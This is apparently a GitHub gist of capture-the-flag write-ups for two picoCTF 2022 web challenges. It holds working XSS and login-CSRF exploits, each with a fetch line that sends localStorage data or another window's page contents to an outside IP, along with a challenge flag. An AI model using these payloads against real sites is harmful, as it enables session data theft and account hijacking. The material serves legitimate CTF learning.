Skip to content

Instantly share code, notes, and snippets.

@stypr
Created June 12, 2022 10:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stypr/5d6c2152b34b1d9ca2e6b86f89ae5f3f to your computer and use it in GitHub Desktop.
Save stypr/5d6c2152b34b1d9ca2e6b86f89ae5f3f to your computer and use it in GitHub Desktop.
picoCTF 2022 liveart / noted exploit

TL;DR

Exploiting a react app by customElement and is=is pollution

Solution

  1. There is a bug with the hydration, so we can pollute prop of the <img> tag.
  2. Error message is triggered when the window.width < 600. Interestingly, location.hash fills the props upon displaying the error message.
  3. When the error message is shown and you try to resize your window.width > 600, <img> is shown again.
  4. Since there is a dehydration bug, prop gets filled with the existing location.hash, making it possible to add additional attributes on the <img> tag.
  5. However, onerror and other dangerous attributes are filtered by React, we need to find a way to bypass props check.
  6. Here comes the way to exploit
  7. The last remaining problem is about setting the size of the window.width of the cross-origin frame. Because the server is not in the same origin (http://localhost:4000/ != http://stypr.com/), we cannot just modify this information by javascript.
    • So we use <iframe> tag and change CSS to force the resize
      • localStorage is not under the cookie's security scope, so there's no problem about leaking information from the localStorage.

Exploit

<iframe src="http://localhost:4000/drawing/test#width=123&height=123&is=is&onerror=fetch(`http://158.101.144.10/xss?${btoa(localStorage.username)}`);&src=http://158.101.144.10/error.png" style="width:300px;" id="exploit"></iframe>
<script>
setTimeout(() => {
    exploit.style.width=800;
}, 1000);
</script>

TL;DR

  1. Chrome headless has various security issues, such as no interaction for popups, no Lax, etc.
  2. Using window.open to fetch to the remote host

Solution

  1. Create user testu1235 / testu1235
  2. Upload the following script to the note. Change the content appropriately so that you can somehow receive flags
<script>
let flag = window.open('', 'flag');
leaked_flag = flag.document.documentElement.innerHTML;
if(leaked_flag){
    fetch("http://158.101.144.10/exploit/noted_exploit.html?flag=" + btoa(leaked_flag));
}
</script>
  1. Submit your URL that contains this html file. -> http://158.101.144.10/exploit/noted_exploit.html
  2. picoCTF{p00rth0s_parl1ment_0f_p3p3gas_386f0184}

Exploit

Content of http://158.101.144.10/exploit/noted_exploit.html

<form action="http://0.0.0.0:8080/login" method="POST">
    <input type="text" name="username" value="testu1235">
    <input type="text" name="password" value="testu1235">
    <input type="submit">
</form>
<script>
    window.open("http://0.0.0.0:8080/notes", "flag");
    document.forms[0].submit();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment